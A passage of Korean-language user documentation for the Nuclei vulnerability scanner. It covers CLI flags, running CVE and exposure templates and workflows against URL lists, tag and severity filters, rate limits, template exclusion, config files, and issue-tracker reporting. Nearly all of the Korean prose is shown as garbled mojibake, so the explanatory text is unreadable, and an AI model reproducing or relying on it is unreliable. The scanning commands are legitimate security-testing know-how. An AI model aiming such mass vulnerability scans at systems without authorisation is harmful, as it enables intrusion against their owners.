   -page-timeout int    ํ—ค๋“œ๋ฆฌ์Šค ๋ชจ๋“œ์—์„œ ๊ฐ ํŽ˜์ด์ง€๋ฅผ ๊ธฐ๋‹ค๋ฆฌ๋Š” ์‹œ๊ฐ„(์ดˆ)(๊ธฐ๋ณธ 20)
   -sb, -show-browser   ํ—ค๋“œ๋ฆฌ์Šค ๋ชจ๋“œ๋กœ ํ…œํ”Œ๋ฆฟ์„ ์‹คํ–‰ํ•  ๋•Œ ํ™”๋ฉด์— ๋ธŒ๋ผ์šฐ์ € ํ‘œ์‹œ
   -sc, -system-chrome  ์„ค์น˜๋œ nuclei ๋Œ€์‹  ๋กœ์ปฌ์— ์„ค์น˜๋œ chrome ๋ธŒ๋ผ์šฐ์ € ์‚ฌ์šฉ

DEBUG:
   -debug                    ๋ชจ๋“  ์š”์ฒญ ๋ฐ ์‘๋‹ต ํ‘œ์‹œ
   -dreq, -debug-req         ๋ณด๋‚ธ ๋ชจ๋“  ์š”์ฒญ ํ‘œ์‹œ
   -dresp, -debug-resp       ๋ฐ›์€ ๋ชจ๋“  ์‘๋‹ต ํ‘œ์‹œ
   -p, -proxy string[]       ์‚ฌ์šฉํ•  http/socks5 ํ”„๋ก์‹œ ๋ชฉ๋ก(์‰ผํ‘œ๋กœ ๊ตฌ๋ถ„ํ•˜๊ฑฐ๋‚˜ ํŒŒ์ผ ์ž…๋ ฅ)
   -pi, -proxy-internal      ๋ชจ๋“  ๋‚ด๋ถ€ ์š”์ฒญ์„ ํ”„๋ก์‹œ
   -tlog, -trace-log string  ๋ณด๋‚ธ ์š”์ฒญ ์ถ”์  ๋กœ๊ทธ๋ฅผ ๊ธฐ๋กํ•  ํŒŒ์ผ
   -elog, -error-log string  ๋ณด๋‚ธ ์š”์ฒญ ์˜ค๋ฅ˜ ๋กœ๊ทธ๋ฅผ ๊ธฐ๋กํ•  ํŒŒ์ผ
   -version                  nuclei ๋ฒ„์ „ ์ถœ๋ ฅ
   -hm, -hang-monitor        nuclei hang monitoring ํ™œ์„ฑํ™”
   -v, -verbose              ์ƒ์„ธ ์ถœ๋ ฅ ํ‘œ์‹œ
   -vv                       ์Šค์บ”์„ ์œ„ํ•ด ๋กœ๋“œ๋œ ๋””์Šคํ”Œ๋ ˆ์ด ํ…œํ”Œ๋ฆฟ ํ‘œ์‹œ
   -ep, -enable-pprof        pprof debugging server ํ™œ์„ฑํ™”
   -tv, -templates-version   ์„ค์น˜๋œ nuclei-templates ๋ฒ„์ „ ์ถœ๋ ฅ

UPDATE:
   -update                        ์ตœ์‹  ๋ฆด๋ฆฌ์Šค ๋ฒ„์ „์œผ๋กœ nuclei ์—”์ง„ ์—…๋ฐ์ดํŠธ
   -ut, -update-templates         ์ตœ์‹  ๋ฆด๋ฆฌ์Šค ๋ฒ„์ „์œผ๋กœ nuclei-templates ์—”์ง„ ์—…๋ฐ์ดํŠธ
   -ud, -update-directory string  nuclei-templates๋ฅผ ์„ค์น˜ํ•  ๊ธฐ๋ณธ ๋””๋ ‰ํ„ฐ๋ฆฌ๋ฅผ ๋ฎ์–ด์”€
   -duc, -disable-update-check    ์ž๋™ nuclei/templates ์—…๋ฐ์ดํŠธ ํ™•์ธ ๋น„ํ™œ์„ฑํ™”

STATISTICS:
   -stats                    ์‹คํ–‰ ์ค‘์ธ ์Šค์บ”์— ๋Œ€ํ•œ ํ†ต๊ณ„ ํ‘œ์‹œ
   -sj, -stats-json          JSONL(ines) ํ˜•์‹์œผ๋กœ ์ถœ๋ ฅ ํŒŒ์ผ์— ํ†ต๊ณ„ ๋ฐ์ดํ„ฐ ์“ฐ๊ธฐ
   -si, -stats-interval int  ํ†ต๊ณ„ ์—…๋ฐ์ดํŠธ๋ฅผ ํ‘œ์‹œํ•  ๋•Œ๊นŒ์ง€ ๋Œ€๊ธฐํ•˜๋Š” ์‹œ๊ฐ„(์ดˆ) (๊ธฐ๋ณธ 5)
   -m, -metrics              ํฌํŠธ(๊ธฐ๋ณธ 9092)์—์„œ ์‹คํ–‰ ์ค‘์ธ scan matrics ๋ณด๊ธฐ
   -mp, -metrics-port int    nuclei metrics ํฌํŠธ ์„ค์ • (๊ธฐ๋ณธ 9092)

**Nuclei** ์‹คํ–‰

Nuclei ํ…œํ”Œ๋ฆฟ์€ ํฌ๊ฒŒ ๋‘ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์œผ๋กœ ์‹คํ–‰ ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  1. Templates (-t/templates)

๊ธฐ๋ณธ์ ์œผ๋กœ, ๋ชจ๋“  ํ…œํ”Œ๋ฆฟ (nuclei-ignore ๋ฆฌ์ŠคํŠธ๋ฅผ ์ œ์™ธํ•œ) ๋“ค์€ ๊ธฐ๋ณธ ํ…œํ”Œ๋ฆฟ ์„ค์น˜ ๊ฒฝ๋กœ์—์„œ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค.

sh
nuclei -u https://example.com

๋ณ„๋„์˜ ํ…œํ”Œ๋ฆฟ ํด๋” ํ˜น์€ ๋‹ค์ˆ˜์˜ ํ…œํ”Œ๋ฆฟ ํด๋”๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

sh
nuclei -u https://example.com -t cves/ -t exposures/

URL ๋ฆฌ์ŠคํŠธ์— ๋Œ€ํ•ด์„œ๋„ ํ…œํ”Œ๋ฆฟ๋“ค์€ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

sh
nuclei -list http_urls.txt
  1. Workflows (-w/workflows)
sh
nuclei -u https://example.com -w workflows/

URL ๋ฆฌ์ŠคํŠธ์— ๋Œ€ํ•ด์„œ๋„ Workflows๋“ค์€ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

sh
nuclei -list http_urls.txt -w workflows/wordpress-workflow.yaml

Nuclei **ํ•„ํ„ฐ**

Nuclei ์—”์ง„์€ ํ…œํ”Œ๋ฆฟ ์‹คํ–‰์„ ์ปค์Šคํ…€ํ•˜๊ธฐ ์œ„ํ•ด์„œ 3๊ฐœ์˜ ๊ธฐ๋ณธ ํ•„ํ„ฐ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

  1. Tags (-tags)

    ํ…œํ”Œ๋ฆฟ์—์„œ ์‚ฌ์šฉ๊ฐ€๋Šฅํ•œ ํƒœ๊ทธ ์†์„ฑ์— ๊ธฐ๋ฐ˜ํ•œ ํ•„ํ„ฐ

  2. Severity (-severity)

    ํ…œํ”Œ๋ฆฟ์—์„œ ์‚ฌ์šฉ๊ฐ€๋Šฅํ•œ ์‹ฌ๊ฐ๋„ ์†์„ฑ์— ๊ธฐ๋ฐ˜ํ•œ ํ•„ํ„ฐ

  3. Author (-author)

    ํ…œํ”Œ๋ฆฟ์—์„œ ์‚ฌ์šฉ๊ฐ€๋Šฅํ•œ ์ž‘์„ฑ์ž ์†์„ฑ์— ๊ธฐ๋ฐ˜ํ•œ ํ•„ํ„ฐ

๊ธฐ๋ณธ์ ์œผ๋กœ, ํ•„ํ„ฐ๋“ค์€ ํ…œํ”Œ๋ฆฟ ์„ค์น˜ ๊ฒฝ๋กœ์— ์ ์šฉ๋˜๊ณ , ์ˆ˜๋™ ํ…œํ”Œ๋ฆฟ ๊ฒฝ๋กœ ์ž…๋ ฅ์„ ์‚ฌ์šฉํ•˜์—ฌ ์ปค์Šคํ…€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ์•„๋ž˜์˜ ๋ช…๋ น์€ ~/nuclei-templates/ ํด๋”์— ์„ค์น˜๋œ ํ…œํ”Œ๋ฆฟ๋“ค ์ค‘์—์„œ cve ํƒœ๊ทธ๋ฅผ ๊ฐ€์ง„ ํ…œํ”Œ๋ฆฟ๋“ค์„ ์‹คํ–‰์‹œํ‚ต๋‹ˆ๋‹ค.

sh
nuclei -u https://example.com -tags cve

๊ทธ๋ฆฌ๊ณ  ๋‹ค์Œ์€ ~/nuclei-templates/exposures/ ํด๋”์˜ config ํƒœ๊ทธ๋ฅผ ๊ฐ€์ง„ ๋ชจ๋“  ์‚ฌ์šฉ๊ฐ€๋Šฅํ•œ ํ…œํ”Œ๋ฆฟ๋“ค์„ ์‹คํ–‰ํ•˜๋Š” ์˜ˆ์ž…๋‹ˆ๋‹ค.

sh
nuclei -u https://example.com -tags config -t exposures/

๋‹ค์ˆ˜์˜ ํ•„ํ„ฐ๋ฅผ AND ์กฐ๊ฑด์œผ๋กœ ํ•จ๊ป˜ ์‚ฌ์šฉ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋‹ค์Œ์€ cve ํƒœ๊ทธ๋ฅผ ๊ฐ€์กŒ๊ณ , critical ๋˜๋Š” high ์˜ ์‹ฌ๊ฐ๋„๋ฅผ ๊ฐ€์กŒ๊ณ , ์ž‘์„ฑ์ž๊ฐ€ geeknik์ธ ๋ชจ๋“  ํ…œํ”Œ๋ฆฟ์„ ์‹คํ–‰ํ•˜๋Š” ์˜ˆ์ž…๋‹ˆ๋‹ค.

sh
nuclei -u https://example.com -tags cve -severity critical,high -author geeknik

๋‹ค์ˆ˜์˜ ํ•„ํ„ฐ๋Š” ํ…œํ”Œ๋ฆฟ ์กฐ๊ฑด ํ”Œ๋ž˜๊ทธ (tc)๋ฅผ ์ด์šฉํ•ด ์กฐํ•ฉํ•˜์—ฌ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ…œํ”Œ๋ฆฟ ์กฐ๊ฑด ํ”Œ๋ž˜๊ทธ์œผ๋กœ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ณต์žกํ•œ ํ‘œํ˜„์‹์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

sh
nuclei -tc "contains(id,'xss') || contains(tags,'xss')"
nuclei -tc "contains(tags,'cve') && contains(tags,'ssrf')"
nuclei -tc "contains(name, 'Local File Inclusion')"

ํ•„ํ„ฐ๋ง์„ ์ง€์›ํ•˜๋Š” ์†์„ฑ ๋ชฉ๋ก์ž…๋‹ˆ๋‹ค.

  • id string
  • name string
  • description string
  • tags slice of strings
  • authors slice of strings
  • severity string
  • protocol string
  • http_method slice of strings
  • body string (containing all request bodies if any)
  • matcher_type slice of string
  • extractor_type slice of string
  • description string

๋˜ํ•œ, ํ…œํ”Œ๋ฆฟ์˜ ๋ฉ”ํƒ€๋ฐ์ดํ„ฐ ์˜์—ญ์˜ ํ‚ค-๊ฐ’์œผ๋กœ ๊ตฌ์„ฑ๋œ ๋ชจ๋“  ์Œ์ด ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ๋ชจ๋“  ์†์„ฑ๋“ค์€ ๋…ผ๋ฆฌ ์—ฐ์‚ฐ์ž(|| ์™€ &&) ๋ฅผ ํ†ตํ•ด ์กฐํ•ฉ๋  ์ˆ˜ ์žˆ๊ณ , DSL helper ํ•จ์ˆ˜๋“ค๊ณผ ํ•จ๊ป˜ ์‚ฌ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๋ชจ๋“  ํ•„ํ„ฐ๋“ค์€ workflows ์—์„œ๋„ ๋งˆ์ฐฌ๊ฐ€์ง€๋กœ ์ง€์›๋ฉ๋‹ˆ๋‹ค.

sh
nuclei -w workflows/wordpress-workflow.yaml -severity critical,high -list http_urls.txt

!!! info "Workflows"
Workflows์—์„œ๋Š” Workflows๋ฅผ ํ†ตํ•ด ์‹คํ–‰๋˜๋Š” ํ…œํ”Œ๋ฆฟ, ์„œ๋ธŒํ…œํ”Œ๋ฆฟ์— Nuclei ํ•„ํ„ฐ๊ฐ€ ์ ์šฉ๋ฉ๋‹ˆ๋‹ค.

์†๋„ **์ œํ•œ**

Nuclei๋Š” ๋‹ค์–‘ํ•œ ์š”์ธ์œผ๋กœ ๋‹ค์ค‘ ์†๋„ ์ œํ•œ ์ œ์–ด๋ฅผ ํ•ฉ๋‹ˆ๋‹ค. ์š”์ธ์œผ๋กœ๋Š” ๋ณ‘๋ ฌ๋กœ ์‹คํ–‰ํ•  ํ…œํ”Œ๋ฆฟ ์ˆ˜, ๊ฐ ํ…œํ”Œ๋ฆฟ์— ๋Œ€ํ•ด ๋ณ‘๋ ฌ๋กœ ๊ฒ€์ƒ‰ํ•  ํ˜ธ์ŠคํŠธ ์ˆ˜, Nuclei๋ฅผ ์ด์šฉํ•˜์—ฌ ์ƒ์„ฑํ•˜๊ฑฐ๋‚˜ ์ œํ•œํ•˜๊ณ ์ž ํ•œ ์ดˆ๋‹น ์ด ์š”์ฒญ ์ˆ˜ ๋“ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.์•„๋ž˜๋Š” ๊ฐ ํ”Œ๋ž˜๊ทธ์— ๋Œ€ํ•œ ์„ค๋ช…์ž…๋‹ˆ๋‹ค.

Flag Description
rate-limit ์ดˆ๋‹น ์ด ์š”์ฒญ์˜ ์ˆ˜๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.
bulk-size ๊ฐ ํ…œํ”Œ๋ฆฟ๋งˆ๋‹ค ๋™์‹œ์— ์ง„ํ–‰ํ•  ํ˜ธ์ŠคํŠธ์˜ ์ˆ˜๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.
c ๋™์‹œ์— ์ง„ํ–‰ํ•  ํ…œํ”Œ๋ฆฟ์˜ ์ˆ˜๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค.

Nuclei์˜ ์†๋„ ์ œํ•œ๊ณผ ์ •ํ™•๋„๋ฅผ ์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ์ด์šฉํ•˜์—ฌ ์ž์œ ๋กญ๊ฒŒ ์กฐ์ •ํ•˜์„ธ์š”!

!!! tip
rate-limit ํ”Œ๋ž˜๊ทธ๋Š” ๋‹ค๋ฅธ ๋‘ ํ”Œ๋ž˜๊ทธ๋ณด๋‹ค ์šฐ์„ ํ•ฉ๋‹ˆ๋‹ค. ์ดˆ๋‹น ์š”์ฒญ์˜ ์ˆ˜๋Š” c ์™€ bulk-size ํ”Œ๋ž˜๊ทธ ๊ฐ’์— ์ƒ๊ด€์—†์ด rate-limit ๊ฐ’์„ ์ดˆ๊ณผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค.

Traffic **Tagging**

๋งŽ์€ ๋ฒ„๊ทธ ๋ฐ”์šดํ‹ฐ ํ”Œ๋žซํผ๊ณผ ํ”„๋กœ๊ทธ๋žจ๋“ค์€ ์‹๋ณ„์„ ์œ„ํ•ด ์—ฌ๋Ÿฌ๋ถ„๋“ค์ด ์ƒ์„ฑํ•œ HTTP ํŠธ๋ž˜ํ”ฝ์„ ์š”๊ตฌํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” $HOME/.config/nuclei/config.yaml ์˜ ์„ค์ • ํŒŒ์ผ์„ ์ด์šฉํ•˜๊ฑฐ๋‚˜ -H / header CLI ํ”Œ๋ž˜๊ทธ๋ฅผ ์ด์šฉํ•˜๋ฉด ๋ฉ๋‹ˆ๋‹ค.

!!! info "์„ค์ • ํŒŒ์ผ์„ ์ด์šฉํ•œ ์‚ฌ์šฉ์ž ์ •์˜ ํ—ค๋” ์„ค์ •"

text
```yaml
# Headers to include with each request.
header:
  - 'X-BugBounty-Hacker: h1/geekboy'
  - 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei'
```

!!! info "CLI ํ”Œ๋ž˜๊ทธ๋ฅผ ์ด์šฉํ•œ ์‚ฌ์šฉ์ž ์ •์˜ ํ—ค๋” ์„ค์ •"

text
```yaml
nuclei -header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) / nuclei' -list urls.txt -tags cves
```

ํ…œํ”Œ๋ฆฟ **์ œ์™ธ**

Nuclei๋Š” ์‹คํ–‰์— ํฌํ•จํ•  ํ…œํ”Œ๋ฆฟ์„ ์ œ์™ธ/๋ฐฉ์ง€ ํ•˜๋Š” ๋‹ค์–‘ํ•œ ๋ฐฉ๋ฒ•์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์Šค์บ”์œผ๋กœ ์ธํ•œ ์˜ˆ์ธก๋˜์ง€ ์•Š์€ ํผ์ฆˆ๋ฅผ ํ”ผํ•˜๊ณ , ๋Œ€๋Ÿ‰ ์Šค์บ”์—์„œ ์ผ๋ถ€ ์ œ์™ธ๋ฅผ ์œ„ํ•ด ์‹คํ–‰๋˜์ง€ ์•Š์•„์•ผ ํ•˜๋Š” ํƒœ๊ทธ๋“ค๊ณผ ํ…œํ”Œ๋ฆฟ๋“ค์„ Nuclei์—์„œ๋Š” ๊ธฐ๋ณธ์ ์œผ๋กœ ์ œ์™ธํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ ์ œ์™ธ ๋ชฉ๋ก์€ ์•„๋ž˜์˜ ๋งํฌ๋ฅผ ํ†ตํ•ด ํ™•์ธ ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค. ์ด ํŒŒ์ผ์€ ์„ค์ • ํŒŒ์ผ ํ˜น์€ ํ”Œ๋ž˜๊ทธ๋“ค์„ ํ†ตํ•ด ์‰ฝ๊ฒŒ ๊ณ ์น  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

!!! danger ""

text
**nuclei-ignore** ํŒŒ์ผ์€ ์‚ฌ์šฉ์ž๊ฐ€ ์—…๋ฐ์ดํŠธ/ํŽธ์ง‘/์ œ๊ฑฐํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ๋ฎ์–ด์“ฐ๊ธฐ ์œ„ํ•ด์„œ๋Š” [nuclei configuration](https://nuclei.projectdiscovery.io/nuclei/get-started/#nuclei-config) ํŒŒ์ผ์„ ์ด์šฉํ•ฉ๋‹ˆ๋‹ค.

Nuclei๋Š” ๋‘ ๊ฐ€์ง€ ๋ฐฉ๋ฒ•์„ ํ†ตํ•ด ์Šค์บ”์—์„œ ์ œ์™ธํ•  ํ…œํ”Œ๋ฆฟ์„ ์กฐ์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

  1. Exclude Templates (-exclude-templates/exclude) ํ…œํ”Œ๋ฆฟ ์ œ์™ธํ•˜๊ธฐ (-exclude-templates/exclude)

    exclude-templates ํ”Œ๋ž˜๊ทธ๋Š” ํ•˜๋‚˜ ํ˜น์€ ๋‹ค์ˆ˜์˜ ํ…œํ”Œ๋ฆฟ ๊ทธ๋ฆฌ๊ณ  ๋””๋ ‰ํ† ๋ฆฌ๋ฅผ ์ œ์™ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋ณต์ˆ˜์˜ -exclude-templates ํ”Œ๋ž˜๊ทธ๋ฅผ ํ†ตํ•ด ์—ฌ๋Ÿฌ ๊ฐ’์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

  2. Exclude Tags (-exclude-tags/etags) ํƒœ๊ทธ ์ œ์™ธํ•˜๊ธฐ (-exclude-tags/etags)

    exclude-tags ํ”Œ๋ž˜๊ทธ๋Š” ์ •์˜๋œ ํƒœ๊ทธ๋“ค์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ…œํ”Œ๋ฆฟ์„ ์ œ์™ธํ•ฉ๋‹ˆ๋‹ค. ํ•˜๋‚˜ ํ˜น์€ ๋‹ค์ˆ˜์˜ ํƒœ๊ทธ๋ฅผ ์‚ฌ์šฉํ•ด ์ œ์™ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

!!! info "ํ•˜๋‚˜์˜ ํ…œํ”Œ๋ฆฟ์„ ์ œ์™ธํ•˜๋Š” ์˜ˆ"

text
```
nuclei -list urls.txt -t cves/ -exclude-templates cves/2020/CVE-2020-XXXX.yaml
```

!!! info "๋‹ค์ˆ˜์˜ ํ…œํ”Œ๋ฆฟ์„ ์ œ์™ธํ•˜๋Š” ์˜ˆ"

text
```
nuclei -list urls.txt -exclude-templates exposed-panels/ -exclude-templates technologies/
```

!!! info "ํ•˜๋‚˜์˜ ํƒœ๊ทธ๋กœ ํ…œํ”Œ๋ฆฟ์„ ์ œ์™ธํ•˜๋Š” ์˜ˆ"

text
```
nuclei -l urls.txt -t cves/ -etags xss
```

!!! info "๋‹ค์ˆ˜์˜ ํƒœ๊ทธ๋ฅผ ์ด์šฉํ•ด ํ…œํ”Œ๋ฆฟ์„ ์ œ์™ธํ•˜๋Š” ์˜ˆ"

text
```
nuclei -l urls.txt -t cves/ -etags sqli,rce
```

nuclei-ignore๋ฅผ ์‰ฝ๊ฒŒ ์„ค์ •ํ•˜๊ธฐ ์œ„ํ•ด Nuclei๋Š” include-tags / include-templates ํ”Œ๋ž˜๊ทธ๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

!!! info "์ œ์™ธ๋œ ํƒœ๊ทธ๋“ค์„ ์‹คํ–‰ํ•˜๋Š” ์˜ˆ"

text
```
nuclei -l urls.txt -include-tags iot,misc,fuzz
```

๋ชจ๋“  ๊ฒ€์ƒ‰์— ๋Œ€ํ•ด ์ด๋Ÿฌํ•œ ํƒœ๊ทธ๋ฅผ ํฌํ•จํ•˜๋„๋ก nuclei ์„ค์ • ํŒŒ์ผ์„ ์—…๋ฐ์ดํŠธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Nuclei **์„ค์ •**

!!! abstract ""

text
[v.2.3.2](https://blog.projectdiscovery.io/nuclei-v2-3-0-release/) ๋ฒ„์ „์˜ nuclei๋ถ€ํ„ฐ ๊น”๋”ํ•œ CLI ํ™˜๊ฒฝ๊ณผ ํฌ๋งทํŒ…๋œ ๊ธธ๊ฑฐ๋‚˜ ์งง์€ ํ˜•์‹์˜ ํ”Œ๋ž˜๊ทธ๋“ค์„ ์‚ฌ์šฉํ•˜๊ธฐ ์œ„ํ•ด์„œ [goflags](https://github.com/projectdiscovery/goflags)๋ฅผ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค.

์ž๋™ ์ƒ์„ฑ ์„ค์ • ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๋Š” [goflags](https://github.com/projectdiscovery/goflags)๋Š” ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๋ชจ๋“  CLIํ”Œ๋ž˜๊ทธ๋ฅผ ์„ค์ • ํŒŒ์ผ๋กœ ์ปค๋ฒ„ํ•ฉ๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ๋กœ๋“œ๋˜๋Š” ๋ฐ˜๋ณต์ ์ธ CLI ํ”Œ๋ž˜๊ทธ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด์„œ ๋ชจ๋“  CLI ํ”Œ๋ž˜๊ทธ๋“ค์„ ์„ค์ • ํŒŒ์ผ์— ์ •์˜ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Nuclei ์„ค์ • ํŒŒ์ผ์˜ ๊ธฐ๋ณธ ๊ฒฝ๋กœ๋Š” `$HOME/.config/nuclei/config.yaml` ์ž…๋‹ˆ๋‹ค. ๊ธฐ๋ณธ์ ์œผ๋กœ ์‹คํ–‰ํ•  ํ”Œ๋ž˜๊ทธ๋ฅผ ์„ค์ •ํ•˜๊ฑฐ๋‚˜ ์ฃผ์„ ํ•ด์ œํ•ฉ๋‹ˆ๋‹ค.

์•„๋ž˜๋Š” ์„ค์ • ํŒŒ์ผ์˜ ์˜ˆ์‹œ์ž…๋‹ˆ๋‹ค.

yaml
# Headers to include with all HTTP request
header:
  - 'X-BugBounty-Hacker: h1/geekboy'

# Directory based template execution
templates:
  - cves/
  - vulnerabilities/
  - misconfiguration/

# Tags based template execution
tags: exposures,cve

# Template Filters
tags: exposures,cve
author: geeknik,pikpikcu,dhiyaneshdk
severity: critical,high,medium

# Template Allowlist
include-tags: dos,fuzz # Tag based inclusion (allows overwriting nuclei-ignore list)
include-templates: # Template based inclusion (allows overwriting nuclei-ignore list)
  - vulnerabilities/xxx
  - misconfiguration/xxxx

# Template Denylist
exclude-tags: info # Tag based exclusion
exclude-templates: # Template based exclusion
  - vulnerabilities/xxx
  - misconfiguration/xxxx

# Rate Limit configuration
rate-limit: 500
bulk-size: 50
concurrency: 50

์ผ๋‹จ ์„ค์ •์ด ๋˜๋ฉด, ์„ค์ • ํŒŒ์ผ์„ ๊ธฐ๋ณธ์ ์œผ๋กœ ์‚ฌ์šฉํ•ฉ๋‹ˆ๋‹ค. -config ํ”Œ๋ž˜๊ทธ๋ฅผ ํ†ตํ•ด ์‚ฌ์šฉ์ž ์ •์˜ ์„ค์ • ํŒŒ์ผ์„ ์ถ”๊ฐ€์ ์œผ๋กœ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

!!! info "์‚ฌ์šฉ์ž ์ •์˜ ํŒŒ์ผ๋กœ nuclei ์‹คํ–‰ํ•˜๊ธฐ"

text
```
nuclei -config project.yaml -list urls.txt
```

Nuclei **์‹ ๊ณ **

Nuclei๋Š” GitHub, GitLab, Jira integration ์„ ์ง€์›ํ•˜๋Š” v2.3.0 ๋ฒ„์ „๊ณผ ํ•จ๊ป˜ ์‹ ๊ณ  ๋ชจ๋“ˆ์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋Š” ๋ฐœ๊ฒฌ๋œ ๊ฒฐ๊ณผ์— ๋”ฐ๋ผ ์ง€์›๋˜๋Š” ํ”Œ๋žซํผ์—์„œ ์ž๋™์œผ๋กœ ์‹ ๊ณ  ๋‚ด์—ญ์„ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ค๋‹ˆ๋‹ค.

Platform GitHub GitLab Jira Markdown SARIF Elasticsearch
Support

-rc, -report-config ํ”Œ๋ž˜๊ทธ๋Š” ํ†ตํ•ฉ์„ ์œ„ํ•ด ํ”Œ๋žซํผ์˜ ์„ธ๋ถ€ ์ •๋ณด๋ฅผ ์ฝ๊ธฐ ์œ„ํ•ด ์„ค์ • ํŒŒ์ผ์„ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ง€์›๋˜๋Š” ๋ชจ๋“  ํ”Œ๋žซํผ์— ๋Œ€ํ•œ ์˜ˆ์‹œ ํŒŒ์ผ ์ž…๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, Github ์—์„œ ์‹ ๊ณ  ๋‚ด์—ญ์„ ์ƒ์„ฑํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ์˜ ๋‚ด์šฉ์„ ๋‹ด์€ ์„ค์ • ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ์ ์ ˆํ•œ ๊ฐ’๋“ค์„ ๋ฐ”๊พธ์–ด ๋ด…๋‹ˆ๋‹ค.

yaml
# GitHub contains configuration options for GitHub issue tracker

github: 
  username: "$user"
  owner: "$user"
  token: "$token"
  project-name: "testing-project"
  issue-label: "Nuclei"

Elasticsearch์˜ ๊ฒฐ๊ณผ๋“ค์„ ์ €์žฅํ•˜๊ธฐ ์œ„ํ•ด ๋‹ค์Œ์˜ ๋‚ด์šฉ์„ ๋‹ด์€ ์„ค์ • ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ์ ์ ˆํ•œ ๊ฐ’๋“ค์„ ๋ฐ”๊พธ์–ด ๋ด…๋‹ˆ๋‹ค.

yaml
# elasticsearch contains configuration options for elasticsearch exporter
elasticsearch:
  # IP for elasticsearch instance
  ip: 127.0.0.1
  # Port is the port of elasticsearch instance
  port: 9200
  # IndexName is the name of the elasticsearch index
  index-name: nuclei

์‹ ๊ณ  ๋ชจ๋“ˆ๊ณผ ํ•จ๊ป˜ Nuclei ์‹คํ–‰ํ•˜๊ธฐ

bash
nuclei -l urls.txt -t cves/ -rc issue-tracker.yaml

๋น„์Šทํ•˜๊ฒŒ ๋‹ค๋ฅธ ํ”Œ๋žซํผ๋“ค๋„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์‹ ๊ณ  ๋ชจ๋“ˆ์€ ์ค‘๋ณต๋˜๋Š” ์‹ ๊ณ  ๋‚ด์—ญ์„ ์ƒ์„ฑํ•˜์ง€ ์•Š๊ธฐ ์œ„ํ•ด์„œ ๊ธฐ๋ณธ์ ์ธ ํ•„ํ„ฐ๋ง๊ณผ ์ค‘๋ณต ์ฒดํฌ๋ฅผ ์ง€์›ํ•ฉ๋‹ˆ๋‹ค.

yaml
allow-list:
  severity: high,critical

์œ„๋Š” ์‹ฌ๊ฐ๋„๊ฐ€ high ์ด๊ณ  critical ๋กœ ์‹๋ณ„๋˜๋Š” ์ด์Šˆ๋“ค์— ๋Œ€ํ•ด์„œ๋งŒ ์‹ ๊ณ  ๋‚ด์—ญ์„ ์ƒ์„ฑํ•ฉ๋‹ˆ๋‹ค. ๋น„์Šทํ•˜๊ฒŒ๋„ deny-list ์„ค์ •์€ ํŠน์ • ์‹ฌ๊ฐ๋„์˜ ์ด์Šˆ๋“ค์„ ์ œ์™ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

